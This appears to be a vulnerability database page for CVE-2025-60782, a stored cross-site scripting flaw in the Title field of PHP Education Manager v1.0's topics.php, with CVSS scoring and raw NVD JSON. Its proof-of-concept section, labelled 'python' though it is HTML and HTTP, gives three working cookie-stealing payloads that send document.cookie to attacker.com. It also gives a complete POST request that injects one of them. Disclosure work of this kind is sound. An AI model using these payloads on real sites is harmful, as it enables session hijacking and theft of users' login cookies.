Security Vulnerability Report
中文
CVE-2025-60782 CVSS 5.4 MEDIUM

CVE-2025-60782

Published: 2025-10-02 15:15:59
Last Modified: 2025-10-07 18:14:57

Description

PHP Education Manager v1.0 is vulnerable to Cross Site Scripting (XSS) stored Cross-Site Scripting (XSS) vulnerability in the topics management module (topics.php). Attackers can inject malicious JavaScript payloads into the Titlefield during topic creation or updates.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:iqbolshoh:php_education_management:1.0:*:*:*:*:*:*:* - VULNERABLE
PHP Education Manager v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60782 PoC - Stored XSS in PHP Education Manager v1.0 --> <!-- Vulnerability Location: topics.php - Title field --> <!-- Step 1: Login as authenticated user (low privilege) --> <!-- Step 2: Navigate to topics management module --> <!-- Step 3: Inject malicious payload in the Title field during topic creation/update --> <!-- Payload 1: Basic Cookie Stealer --> <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 2: Using img tag with onerror event --> <img src=x onerror="fetch('http://attacker.com/log?data='+btoa(document.cookie))"> <!-- Payload 3: Using SVG with onload event --> <svg onload="new Image().src='http://attacker.com/x?c='+document.cookie"> <!-- HTTP Request Example --> POST /topics.php HTTP/1.1 Host: target-education-manager.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=authenticated_session title=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&description=test&action=create

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60782", "sourceIdentifier": "[email protected]", "published": "2025-10-02T15:15:58.587", "lastModified": "2025-10-07T18:14:56.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHP Education Manager v1.0 is vulnerable to Cross Site Scripting (XSS) stored Cross-Site Scripting (XSS) vulnerability in the topics management module (topics.php). Attackers can inject malicious JavaScript payloads into the Titlefield during topic creation or updates."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:iqbolshoh:php_education_management:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "0ECB330A-364E-42EF-A3B3-0AA37D1B7506"}]}]}], "references": [{"url": "https://gold-textbook-8ff.notion.site/php-education-management-Background-storage-xss-25985e97f35380db9d38e7d0fbb408d6?pvs=73", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gold-textbook-8ff.notion.site/php-education-management-Background-storage-xss-25985e97f35380db9d38e7d0fbb408d6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}